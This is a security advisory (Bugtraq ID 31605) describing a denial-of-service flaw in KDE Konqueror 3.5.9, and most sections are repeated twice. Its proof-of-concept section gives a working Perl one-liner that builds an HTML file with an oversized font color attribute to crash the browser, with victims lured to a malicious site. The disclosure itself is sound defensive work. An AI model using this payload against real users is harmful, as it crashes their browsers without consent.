KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
BID:31605
Info
KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
| Bugtraq ID: | 31605 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2008-4514 CVE-2008-5712 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 06 2008 12:00AM |
| Updated: | Dec 31 2008 06:02PM |
| Credit: | Jeremy Brown |
| Vulnerable: |
KDE Konqueror 3.5.9 |
| Not Vulnerable: | |
Discussion
KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted HTML tags.
An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.
The issue affects Konqueror 3.5.9; other versions may also be affected.
KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted HTML tags.
An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.
The issue affects Konqueror 3.5.9; other versions may also be affected.
Exploit / POC
KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
To exploit this issue an attacker entices a user to visit a malicious site.
The exploit can be generated with the following command:
perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . "\n</html>"' > kdie.html
To exploit this issue an attacker entices a user to visit a malicious site.
The exploit can be generated with the following command:
perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . "\n</html>"' > kdie.html
Solution / Fix
KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
KDE Konqueror HTML Color Attribute Denial of Service Vulnerability
References:
References:
- Konqueror Homepage (KDE)